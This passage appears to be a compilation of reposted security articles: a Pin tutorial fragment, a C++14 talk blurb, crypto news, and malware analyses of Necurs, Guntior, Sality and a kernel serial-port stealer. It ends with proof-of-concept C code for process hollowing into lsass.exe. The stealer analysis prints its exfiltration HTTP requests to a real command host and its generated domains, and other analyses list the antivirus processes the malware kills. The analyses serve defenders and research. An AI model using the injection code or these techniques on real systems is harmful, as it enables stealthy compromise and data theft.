here. You won’t talk about the first and second solutions in more detail, since they are self-explanatory. Rather, you’ll describe the third Pin Framework method in detail. First you should load the checkmd5.exe into Ida Pro for analysis. Right at the beginning, Ida Pro will correctly analyze the program, which can be seen below; on the left side there’s a block of code that gets executed when the hashes match and the code block on the right side gets executed when the hashes don’t match. The code right before than the one presented earlier must decide which code block to execute. That code can be seen below; note that I renamed a few functions to make it clearer; those functions are: std__allocate, std__allocate_0, std__equals and std__compare. I commented the code above to make it clearer, but essentially you’re just doing the same as in our C++ program, so nothing new there. Before actually running the program, you must define the password that will be passed to it, which can be done by clicking on Debugger – Process options and is also seen below. Notice that you inputted the passwd string into the Parameters input field, which is exactly the password, which will correctly instruct the program into printing “Success: the entered password was right.” If you run the program now, it would print the success message, since you inputted the right password. If you want to see a similar complete solution you can take a look at [6], where Jonathan Salwan explains is in detail. The implementation for brute forcing the MD5 is left as an exercise to the reader, but he/she should have all the details of how to do that. Conclusion You’ve seen that you can do a lot of interesting stuff with Pin framework; you can follow each instruction, function, system call, etc. By using Pin you have a complete control over the dynamically executing program. Therefore, you can use it in various tasks, when you would like to quickly do some actions on a running program; like brute forcing a MD5 password with Pin instead of using other methods. References: [1] Pin – A Dynamic Binary Instrumentation Tool, Sion Berkowits (Intel), Pin - A Dynamic Binary Instrumentation Tool | Intel® Developer Zone. [2] Pin 2.12 User Guide, Pin: Pin 2.12 User Guide. [3] Jonathan Salwan, Taint analysis and pattern matching with Pin shell-storm | Taint analysis and pattern matching with Pin. [4] Malware Unpacking Level: Pintool, Malware Unpacking Level: Pintool | Development & Security. [5] Pin Modules, Pin: Module Index. [6] In-Memory fuzzing with Pin, shell-storm | In-Memory fuzzing with Pin. Sursa: Pin: Dynamic Binary Instrumentation Framework

[h=1]C++14: Through the Looking Glass[/h] Date: September 5, 2013 from 1:15PM to 2:30PM Day 2 009 Speakers: Michael Wong [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, Windows Phone, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” Zip MP3 (Audio only) [h=3]File size[/h] 56.0 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 338.7 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 182.8 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 744.4 MB Mid Quality MP4 (Windows Phone, HTML5) [h=3]File size[/h] 520.1 MB High Quality WMV (PC, Xbox, MCE) “The time has come,” the ISO said, “To talk of many things: Of move-capture—and literals— Of making lambdas sing— And why deduction is so hot— And if digits should grow wings?” So have you heard of the next C++ Standard? No, it is not C++11. Even though C++11 has just been ratified, C++14 will likely replace C++11 by next year. By now, we have enough experience with C++11 to know where we are missing various fingers and toes such as: Why do we not have move capture in lambdas? How about some real user-defined literal suffixes? Why did we stop with monomorphic lambdas? If lambda returns can be deduced, why not normal functions? Could we get digit separators? C++14 will be more than a bug-fix release, and will contain some important enhancements on top of C++11. It will remove some of the major annoyances from C++11, that we already know of. But more importantly, how will this change the language, library and some important idioms? Sursa: C++14: Through the Looking Glass | GoingNative 2013 | Channel 9

Silent Circle Moving Away From NIST Ciphers in Wake of NSA Revelations by Dennis Fisher The first major domino to fall in the crypto world after the NSA leaks by Edward Snowden began was the decision by Lavabit, a secure email provider, to shut down in August rather than comply with a government order. Shortly thereafter, Silent Circle, another provider of secure email and other services, said it was discontinuing its Silent Mail offering, as well. Now, Silent Circle is going a step further, saying that it plans to replace the NIST-related cipher suites in its products with independently designed ones, not because the company distrusts NIST, but because its executives are worried about the NSA’s influence on NIST’s development of ciphers in the last couple of decades. Jon Callas, one of the founders of Silent Circle and a respected cryptographer, said Monday that the company has been watching all of the developments and revelations coming out of the NSA leaks and has come to the decision that it’s in the best interest of the company and its customers to replace the AES cipher and the SHA-2 hash function and give customers other options. Those options, Callas said, will include non-NIST ciphers such as Twofish and Skein. “At Silent Circle, we’ve been deciding what to do about the whole grand issue of whether the NSA has been subverting security. Despite all the fun that blogging about this has been, actions speak louder than words. Phil [Zimmermann], Mike [Janke], and I have discussed this and we feel we must do something. That something is that in the relatively near future, we will implement a non-NIST cipher suite,” Callas wrote in a blog post explaining the decision. Twofish is a cipher suite written by Bruce Schneier and it was one of the finalists during the AES competition, but lost out to the Rijndael algorithm. It has been resistant to cryptanalysis thus far, and Callas said it also has the advantage of being an easy replacement for AES in Silent Circle’s products. The company also will be replacing SHA-2, an older NIST hash function, with Skein, which was a finalists in the recently completed SHA-3 competition. “We are going to replace our use of the AES cipher with the Twofish cipher, as it is a drop-in replacement. We are going to replace our use of the SHA–2 hash functions with the Skein hash function. We are also examining using the Threefish cipher where that makes sense. (Full disclosure: I’m a co-author of Skein and Threefish.) Threefish is the heart of Skein, and is a tweakable, wide-block cipher. There are a lot of cool things you can do with it, but that requires some rethinking of protocols,” Callas said. The decision by Silent Circle comes at a time when there are many unanswered questions about the NSA‘s influence on cryptographic algorithm development, specifically those standards developed by NIST. The National Institute of Standards and Technology is responsible for developing technical standards for the U.S. federal government and many of those standards are adopted by other organizations, specifically crypto standards. Recent revelations from the NSA leaks have shown that the NSA has some unspecified capabilities against certain crypto algorithms and also has been working to influence NIST standards development. In response to one of these revelations, NIST itself has advised people to stop using the Dual EC_DRBG random number generator developed under its supervision. “The DUAL_EC_DRBG discussion has been comic. The major discussion has been whether this was evil or merely stupid, and arguing the side of evil has even meant admitting it is technologically a stupid algorithm, which sends the discussion into an amusing spiral of meta-commentary,” Callas said. Silent Circle’s move away from AES and SHA-2 shouldn’t be seen as an indictment of those two ciphers, Callas said, but more of an indication that there are better options out there without the shadow of potential NSA influence hanging over them. “This doesn’t mean we think that AES is insecure, or SHA–2 is insecure, or even that P–384 is insecure. It doesn’t mean we think less of our friends at NIST, whom we have the utmost respect for; they are victims of the NSA’s perfidy, along with the rest of the free world. For us, the spell is broken. We’re just moving on. No kiss, no tears, no farewell souvenirs,” he said. Sursa: https://threatpost.com/silent-circle-moving-away-from-nist-ciphers-in-wake-of-nsa-revelations/102452#.UkmXXBtaei8.twitter Sunt doar niste idei de luat in considerare.

[h=1]Necurs rootkit under microscope[/h] Okay, we already know about Necurs, just remind it interesting features: Highly difficult in terms of removal from infected system; Targeted to blocking drivers around 30 AV products [and 130 drivers in total]; Also targeted to x64 platform [has x64 version of driver]; Driver has obfuscated relocatable code; Provides for itself the earliest start in the system [before all AV or Anti-malware drivers and system drivers]; Has it's own PE-loader with features of module relocation and IAT tuning for creation a complete copy of working driver; Three types of black list: checking version info, special code signatures and drivers names. I already wrote about detection of this rootkit by various anti-rootkits here Security/malware blog: Necurs rootkit detection. In that post also listed symptoms of infection and various kernel anomalies. Today we'll talk about Necurs more detail. https://twitter.com/artem_i_baranov/status/284941235934875648 First of all - black list and how it's implemented. According to list, which is subject to examination by the rootkit, it includes about 30 various AV products (checking via version info), and 130 various drivers (checking via image names comparison). Full list of vendors avalaible here - Necurs targeted to prevent work products of these firms: Agnitum Ltd ALWIL S - Pastebin.com and list of drivers here - Necurs targeted to prevent work the following drivers: kprocesshacker.sys Vb - Pastebin.com. https://twitter.com/artem_i_baranov/status/284309401605648387 https://twitter.com/artem_i_baranov/status/284310691366727680 Before you start the static analysis you should retrieve decrypted version of driver. In normal encrypted state it looks like this: To be convinced that rootkit is active, you need to check presence of NtSecureSys device object. On the next step need to dump it decrypted body from memory with help of anti-rootkit or windbg. Ok, let's do it with windbg. Necurs sets some hooks to SSDT and this is one of the start point for dumping it image from memory. Next we can dump it from memory. Instead !pool command you can use search for MZ header in reverse order for retrieving start of decrypted copy: s 822bbe2b L-10000 'M' 'Z' Decrypted driver: Start point of black list checks - LoadImageNotifyRoutine function. Detailed info about this feature http://msdn.microsoft.com/en-us/library/windows/hardware/ff559957(v=vs.85).aspx. This callback is called every time when new driver [or user mode image] was loaded in system [or in process]. This function contains all types of blacklist checks. For example, on this screenshot below is represented check via vendors names in version info. If the driver is blacklisted, Necurs patches it entry point with two instructions, so DriverEntry after that returns STATUS_UNSUCCESSFULL and IO manager not load this driver. Rootkit also contains two special white lists of drivers that not included into black list. Collection of information into white list rootkit performs on stage of initialization. Rootkit performs scanning of \drivers directory and look for drivers not included into blacklist. Also it walks by services registry key and adds drivers into these lists. To avoid misunderstanding it adds loaders into these lists. Ways of drivers entry point modifications looks like: Necurs also blocks registry operations for own service key. So, any attempt to access to key fails. It possible with help of http://msdn.microsoft.com/ru-ru/library/windows/hardware/ff545879(v=vs.85).aspx Similar situation with file system. Necurs attaches his device object to volume and tracks all FS operation, so rootkit body on volume is unaccessible. Another interesting feature of Necurs - possibility of start before ALL drivers in the system [including boot bus extender drivers]. But on clean system we have another picture: Ok, all right. The conclusion is obvious: Necurs adds itself into "Boot Bus Extender" group and modifies priority ("Tag") of all drivers from this group (increases their Tag numbers by one, +1). Detailed about priority of drivers load, look CurrentControlSet\Services Subkey Entries Summary: Necurs also registers callback for tracking operations about handle creation for process with help of ObRegisterCallback. API - http://msdn.microsoft.com/en-us/library/windows/hardware/ff558692(v=vs.85).aspx From this callback rootkit performs modification of original final desired access for the handle in special cases of handle opening. Mission of NtOpenProcessHook consists in blocking open handle operation for process which rootkit considers as trusted. According to Microsoft Malware Protection Center (MMPC) Necurs found on more than 83,000 machines and Microsoft report calls rootkit a "prevalent threat". This is not surprising after disclosure of the threat, it becomes clear why this is so. http://www.darkreading.com/risk-management/167901115/security/attacks-breaches/240144203/necurs-rootkit-spreading-quickly-microsoft-warns.html Unexpected reboot: Necurs - Microsoft Malware Protection Center - Site Home - TechNet Blogs Fingerprints: x32 version: SHA256: 742a3c8c0a3601af29daffb966e947334d4f20501e5568b9c9fbf4c3526b4b84 SHA1: 30f63b8cae41a97456a82131c4577a2020697b89 MD5: 0907292986e05a8752bc1863556d229e File size: 59776 bytes x64 version: SHA256: b3fea8183670ecf6150325f05aed28dfa27d7c6d2c1007808661f97c27fd7e1e SHA1: d69b06801a8378e8c9ac8b369cb9e14ef8c8d479 MD5: 39b447e293979ac7259d4d9a2711c9a0 File size: 75720 bytes posted by https://twitter.com/artem_i_baranov Posted 29th December 2012 by Artem Sursa: Security/malware blog: Necurs rootkit under microscope

[h=1]Investigation an interesting kernel mode stealer[/h] https://twitter.com/artem_i_baranov/status/228409424996352001 About two weeks ago my friend R136a1 from kernelmode forum came across with dropper that installs driver in the system. We decide make research of them, and it was not a mistake of starting it analyse... Initial dropper hash: SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74 MD5: 9c0744b8119df63371b83724bafe2095 File size: 32768 bytes On this moment can tell exactly that only one or two vendors identified it with malware family. Main purpose of dropper - extract driver from itself and install it in the system. Driver masked as USB-driver and always extracted with same name - usbhc.sys. Hash: SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74 MD5: 9c0744b8119df63371b83724bafe2095 File size: 32768 bytes One of the most strange thing that I discovered - driver is a fully standalone and not receives commands from user mode. And of course, it not create device object and symbolic link. for user mode interaction. Research led me to a conclusion that driver has one main purpose - stealing data from devices that connect to serial ports of computer and sending it to remote server... For stealing data from these devices it performs preparatory operations. First, it reads the contents of \REGISTRY\MACHINE\HardWare\DeviceMap\SERIALCOMM that stores devices attached to serial ports [devices representing serial ports]. Second, it performs attaching to all this devices. After rootkit attached it device, device stack of serial has view: Second very interesting thing in this case that all network-based communication with remote server also found in driver: - DGA (Domain Generation Algorithm) - DNS via UDP (for convert domain names into IP) - HTTP-based communication via TCP - Special communication with ndisrd.sys driver. For retrieving domains and resolve it to IP-addresses, driver uses such technique. First, it looking for DhcpNameServer parameter for each interface that it found at \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ On next step, it generates domains and calls DNS-service for response about it status. All further communication will be done through this server (which was received via DNS). In the end of post listed all domains that it polls. Network communication completely based on TDI (Transport Device Interface) [look WDK for it description or this tutorial Driver Development Part 5: Introduction to the Transport Device Interface - CodeProject] Preparing the server connection has the form (in SDK term - creating socket). Next it will connect to remote server: Internally in driver, socket described by this structure: struct TDI_CONNECTION_INTERNAL { PFILE_OBJECT foTransportAddress; HANDLE hTransportAddress; PVOID foConnection; HANDLE hConnection; .... } After connection with server was set, it can send requests to it via HTTP. Requests have view: GET /srv.php?&id=uniqueID&mark=METKA&special_marker_opt HTTP/1.1 Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: host Connection: close Simple communication with server has view (rollcall): -> GET /srv.php?&id=GOG73FRHOBFI&mark=METKA HTTP/1.1 Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: perwadav.org Connection: close <- HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 SERVERISOK -> server status After connection was established, driver performs downloads a dropper of ndisrd.sys from server, with request: GET /srv.php?&id=uniqueID&mark=METKA&f=os_ver HTTP/1.1 Variable of os_ver has view n_xp_32 or n_7_32 Basic requests formed with func: Conversation: Driver perform saving dropper into: \SystemRoot\System32\kb_random.exe In my case: \SystemRoot\System32\kbVOTHBNAU.exe From driver: Downloaded dropper: SHA1: 911c027e5f4acf4a75d0cf8e751d0ba8fbbd0959 MD5: a93b5454f4492a4a8d971811f2d12b1e File size: 81805 bytes After dropper was downloaded, it will be installed by driver. Installation performs in context of trusted process - explorer or services (in depend of OS version). Purpose of downloaded dropper - installation of ndisrd.sys driver. Rootkit driver performs opening device of ndisrd. Purpose of IOCTLs that rootkit sends to NDISRD could not identified, but there is a list of them: 830020D0 830020D4 830020D8 830020DC 830020C4 As I said before main purpose of rootkit - stealing data from serial devices and sending it to server. Stealing of data performed with registering of completion routine in Write and Read - IRP-dispatch functions. Driver registers the device in the chain of serial-devices, and can see all requests that pass through the chain. IRP_MJ_READ handler - registers completion routine and calls next on the stack. Completion routine has view: After data was captured, wakes up a special thread, which writes cached data to a file. Thread writes data to file - \SystemRoot\System32\svlog.log. After data was written, thread sets a special event which signaling that data was written to file. Thread that response for sending data from file to server: -> GET /srv.php?&id=GOG73FRHOBFI&mark=METKA&a= HTTP/1.1 Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: perwadav.org Connection: close Data of file <- HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 SERVERISOK -> server status Information about malicious domain: This guy linkedin profile Nikolay Petrachkov | LinkedIn. You can download paper about dropper by R136a1 here http://artemonsecurity.com/research_of_unk_malware.pdf List of domains: oqdxvvbk.com perwadav.org ebcgndvj.org qdrhandp.org tbkfopaf.org twmhimdj.org thgdabbj.com efjwirmb.org qxkomgei.com bbfsyfsr.com jbpgfqra.org anwfejhx.com frstfnuh.org xbcfgule.com cyfohwwf.com catjdhuu.org woyhiepx.org fmegpykr.com bowgtptk.com dnrdyute.org jchgbmmo.org poxldxhv.org mkrhwons.org aovinvsi.org ivogeuom.com mubrnyxd.org emhedcxc.org ibqanwif.org umspakwh.org wianbpdb.com oejkewmq.org gqnjmmgd.org lpdbwrfu.com kwkdraat.org dfogsbau.org gjfxavjw.org idrlbacl.org xavostmi.org sxdhddbb.com wbqwvapj.org jiqcsvng.com gkceusvc.com vssqfbmq.org pcawxcwp.com lpjnerpe.org safcoyho.com llbeoaix.com oirhxgpf.org ygdmlsgl.org fyxfattr.com tdcqhkne.com wwdstess.org eexeufwo.org wbwfjosa.org ixskfbvp.org fmcspasm.org wdjjkmwv.com svpaidvo.org vnhcftma.org twjotfct.org fwlckqdv.org bjfgwabb.com cdobjfic.org qjfhsiua.org enldxohy.com dcnpyqlg.org nsbjdfyq.org cyhwpiaw.org mnbpwbjj.org volgbbox.org tgrwfjpv.com lgqxwrkf.org xwalgbjg.com yuwbhxeu.com hulosvof.org qxpvprdy.com ijjxoocp.org fbrebqna.com tpxirylu.com keukrpqf.org rxyjkcwj.org oucmtrhv.com rxftpvku.com wlxrrqyd.org ybljdhos.org qwkpxcct.org qecgrdxg.org dudfymdl.org sesjvgii.com yxcxjriu.org ljmiphjx.org btotkygq.org fodbotqn.org rfsojypy.com mbdoebhh.org johqyxsw.org gldfgkey.com fvpujviq.org fyclctjf.org xnvwdmyf.org posted by https://twitter.com/artem_i_baranov Posted 26th July 2012 by Artem Sursa: Security/malware blog: Investigation an interesting kernel mode stealer

[h=1]Guntior - detailed analysis of the Chinese bootkit[/h] https://twitter.com/artem_i_baranov/status/225509678367506433Original dropper that contains bootkit dropper: SHA1: e83ca87a39a5f15ca5942fd57d78e790861c2937 MD5: 15e692cf34a70fb364591622bff1e43a File size: 86027 bytes This original dropper extracts bootkit dropper from itself and launches it on execution with same name. Bootkit dropper: SHA1: 5ecefefe4bbfc040927e827ab81c10caf5d10f90 MD5: f72e3d86b8f4f97d103ff1b7f87213f2 File size: 54272 bytes Bootkit dropper stores it components in resource section in crypted state. Decryption routine has view: Bootkit dropper has an interesting method of calling OEP via SEH handler with generating an exception. OEP has view (dropper supports two modes of running - as dll and exe). Anti-debug/anti-emu feature: On the next stage it performs an interesting trick to load itself via dll and continuing initialization as dll. In the first, it copies itself to system directory with random name.tmp and patches PE-characteristics by setting Dll flag. In the second, it hooks imm32.dll!ImmLoadLayout and ntdll.dll!ZwQueryValueKey. ZwQueryValueKey hook has view: After hooks were set it tries initiate keyboard layout switching (that was already registered via creating new parameter in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts). Malicious keyboard layout has view: Finally revert layout to original. Second stage initialization via dll loading. At this stage dll should be loaded into working processes in system and first that it does - sets special event to signal bootkit exe dropper about success of running. So, if injection was failed, it runs next phase. Before load it's driver, it performs some actions targeted to disable some protections that can present in the system. - In case of HintClient.exe that belongs to company Shanghai Hintsoft Co.,LTD. - http://www.hintsoft.com.cn/ sends a special IOCTL code to it driver (look code at 00403A3B). - In case of Drvmon (drivers monitoring tool) also sends a special IOCTL to unknown driver (look code at 00403B0A). Next it loads driver and infects MBR. Driver: SHA1: adcdee632d7915f5e73669d809d9713e9250b81d MD5: c1f5c5af49243e497ae979f2622ab5d0 File size: 4704 bytes Features of driver: - Low-level disk I/O - Processes killlig Creates device with name \Device\Guntior for communicate with ring3. \Device\Guntior \??\Guntior RSDS C:\sys.pdb memcpy MmMapLockedPagesSpecifyCache memset IoDeleteSymbolicLink RtlInitUnicodeString IoDeleteDevice RtlGetVersion IofCompleteRequest IoCreateSymbolicLink IoCreateDevice PsLookupProcessByProcessId MmIsAddressValid ObfDereferenceObject ObReferenceObjectByPointer ntoskrnl.exe WRITE_PORT_BUFFER_USHORT HalGetBusData READ_PORT_BUFFER_USHORT KfRaiseIrql KfLowerIrql Driver is a loaded via very interesting trick with sending a special IOCTL to PnpManager. Unlike other bootkits that intercept functions of disk.sys or atapi.sys for hiding malicious MBR and payload in the end of the disk, this bootkit intercepts nothing and supports unloading (it has an unloading routine). Original (not-infected) MBR has view: Malicious (by 0x190 offset it stores offset of its extension): In the end of disk bootkit stores: - Original MBR - Extension of malicious boot-code - Dll - Driver Main payload is stored into dll [resource number 111]. Dropper extracts it from resource, decrypts and writes into systemroot\system32\appmgmts.dll. It also completely rewrites systemroot\system32\sfc_os.dll by dll body. Internally dll stored as rewritten sfc_os.dll from Chinese Windows XP. Dll targeted to killing processes: nod32krn.exe egui.exe ekrn.exe 360tray.exe 360leakfixer.exe 360Safe.exe safeboxTray.exe 360safebox.exe 360sd.exe ZhuDongFangYu.exe 360rp.exe 360sdupd.exe Calc.exe KSWebShield.exe kxesapp.exe kxeserv.exe kwstray.exe kxedefend.exe upsvc.exe kxescore.exe KVExpert.exe kxetray.exe KSafeSvc.exe KSafeTray.exe guiyingfix.exe RavMonD.exe RsTray.exe RsAgent.exe RegGuide.exe RsMain.exe RsCopy.exe Rav.exe KVSrvXP.exe KVExpert.exe KVMonXp.exe avp.exe avp.exe ras.exe knownsvr.exe rstray.exe knsdtray.exe knsd.exe knsdsvc.exe knsdsve.exe QQPCLeakScan.exe QQPCWebShield.exe QQPCTAVSrv.exe QQPCRTP.exe QQPCMgr.exe QQPCUpdateAVLib.exe QQPCTray.exe QQRepair.exe QQPCPatch.exe Killing processes code: HTTP-request: HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: %s Connection: Keep-Alive Dropper with decrypted payload available for download here: KernelMode.info • View topic - Guntior bootkit (Chinese combine) Dumps of malicious code with some comments by Peter here: KernelMode.info • View topic - Guntior bootkit (Chinese combine) posted by https://twitter.com/artem_i_baranov Posted 18th July 2012 by Artem Sursa: Security/malware blog: Guntior - detailed analysis of the Chinese bootkit

[h=1]Sality rootkit analysis[/h] Sality is a well known family of file-infectors (or PE-infectors or just a viruses). And as malware it has a very long story of evolution since 2003. Latest it versions contain rootkit on board to complicate detection from side of AV-scanners. Driver has such features: Processes termination via NtTerminateProcess; Blocking access to some AV web-resources via IP Filtering; Small size ~ 5 KB. According analysis, rootkit is targeted to Windows starting NT4 and finishing Vista. It should be said in advance that this rootkit is not a NEW and not contains some features which have modern rootkits or bootkits. Researched version of rootkit has appeared ITW since beginning of 2010. Rootkit creates device with name: \Device\amsint32 \DosDevices\amsint32 and this is signal to infection. Rootkit contains usual most famous way of process killing, which is used by almost all "old-school" rootkits. Sality uses old model of IP filtering for blocking access to web-resources that belong AV-vendors. This technique is called IP Filtering. More info: Windows 2000 Filter-Hook Driver example NT networking & kernel mode: drivers, articles, sources and MSDN http://msdn.microsoft.com/en-us/library/windows/hardware/ff548976(v=vs.85).aspx. List of affected vendors: This feature requires from driver to registering a callback function which will be called for IP-packets. This function will decide what to do with the packet: to forward it or drop. Registered callback - fnFilterHookIP will looking for presence of AV-vendors strings in data of packet. In case of hit it forces IP-driver to drop this packet. Encrypted AV vendors strings in it body: Detection ratio: SHA256: e0b193d47609c9622aa018e81da69c24b921f2ba682f3e18646a0d09ec63ac2b SHA1: ef9a19ba89021179930888264290367b5d106a44 MD5: bf31a8d79f704f488e3dbcb6eea3b3e3 File size: 5157 bytes posted by https://twitter.com/artem_i_baranov Posted 15th January by Artem Sursa: Security/malware blog: Sality rootkit analysis

[h=2]New method of injection[/h] [h=2]Introduction[/h] I disovered a new method of injection (I don't know if it is really new) in a malware dropped by duqu. So I want to share it with you and as usual write a p0c. Edit : This method is not new, apparently it have been using by game cheats for years, but instead of using ZwUnmapViewOfSection they use FreeLibrary. [h=2]Injection Method[/h] The malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process. First it will create (as usual) a suspended lsass.exe process via CreateProcess(). Then it will gather process information via ZwQueryInformationProcess(), especially PebBaseAddress. But what can he do with this address, if we look at PEB struct : >dt nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void It will get the ImageBaseAddress at offset 0x8, by reading it with ReadProcessMemory(). First it create a section with ZwCreateSection(), then it will in the actual process (not in lsass.exe supended), ZwMapViewOfSection() with argument BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he will do the same operation on lsass.exe process but with BaseAdress equal to BaseImage, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform ZwUnmapViewOfSection() with BaseAddress equal to ImageBaseAddress on lsass.exe process. And if you wonder : "Wait what !? is it possible ?", and the answer is yes. With this tricks the malware is able to replace ALL the PE image of the suspended process. [h=2]p0c[/h] So I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ). Tested under Windows XP SP3, and Windows Seven SP1 (32 bits). Main.c : #include "main.h"int get_entrypoint(char *read_proc) { IMAGE_DOS_HEADER *idh = NULL; IMAGE_NT_HEADERS *inh = NULL; idh = (IMAGE_DOS_HEADER*)read_proc; inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew); printf("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint); return (inh->OptionalHeader.AddressOfEntryPoint); } int main(void) { STARTUPINFO si; PROCESS_INFORMATION pi; char path_lsass[260]; PROCESS_BASIC_INFORMATION pbi; DWORD nb_read; DWORD ImageBase; HANDLE hsect; NTSTATUS stat; PVOID BaseAddress = NULL; PVOID BaseAddress2 = NULL; DWORD oep; memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); memset(?, 0, sizeof(PROCESS_INFORMATION)); memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION)); ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260); wprintf(L"[+] New Path for lsasse.exe = %s\n", path_lsass); if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL, CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, NULL, NULL, &si, ?)) { printf("[-] CreateProcessW failed\n"); printf("LatError = %x\n", GetLastError()); return (-1); } ZwQueryInformationProcess = (long (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess"); ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection"); ZwUnmapViewOfSection = (long (__stdcall *)(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUnmapViewOfSection"); ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection"); if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL) { printf("[-] GetProcAddress failed\n"); return (-1); } if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0) { printf("[-] ZwQueryInformation failed\n"); return (-1); } printf("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId); if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4) { printf("[-] ReadProcessMemory failed\n"); return (-1); } printf("[+] ImageBase = 0x%x\n", ImageBase); char read_proc[0x6000]; if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000) { printf("[-] ReadProcessMemory failed\n"); return (-1); } printf("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]); oep = get_entrypoint(read_proc); LARGE_INTEGER a; a.HighPart = 0; a.LowPart = 0x8EF6; if ((stat = ZwCreateSection(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) { printf("[-] ZwCreateSection failed\n"); printf("[-] NTSTATUS = %x\n", stat); return (-1); } SIZE_T size; size = 0x8000; BaseAddress = (PVOID)0; if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) { printf("[-] ZwMapViewOfSection failed\n"); printf("[-] NTSTATUS = %x\n", stat); return (-1); } memset((BYTE*)read_proc + oep, 0xCC, 1); memcpy(BaseAddress, read_proc, 0x2000); BaseAddress = (PVOID)ImageBase; printf("BaseAddress = %x\n", BaseAddress); ZwUnmapViewOfSection(pi.hProcess, BaseAddress); if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) { printf("[-] ZwMapViewOfSection failed\n"); printf("[-] NTSTATUS = %x\n", stat); system("pause"); return (-1); } printf("BaseAddress = %x\n", BaseAddress); ResumeThread(pi.hThread); system("pause"); return (0); } And the include file : #include <stdio.h>#include <Windows.h> #if !defined NTSTATUS typedef LONG NTSTATUS; #endif #define STATUS_SUCCESS 0 #if !defined PROCESSINFOCLASS typedef LONG PROCESSINFOCLASS; #endif #if !defined PPEB typedef struct _PEB *PPEB; #endif #if !defined PROCESS_BASIC_INFORMATION typedef struct _PROCESS_BASIC_INFORMATION { PVOID Reserved1; PPEB PebBaseAddress; PVOID Reserved2[2]; ULONG_PTR UniqueProcessId; PVOID Reserved3; } PROCESS_BASIC_INFORMATION; #endif; typedef LONG NTSTATUS, *PNTSTATUS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE 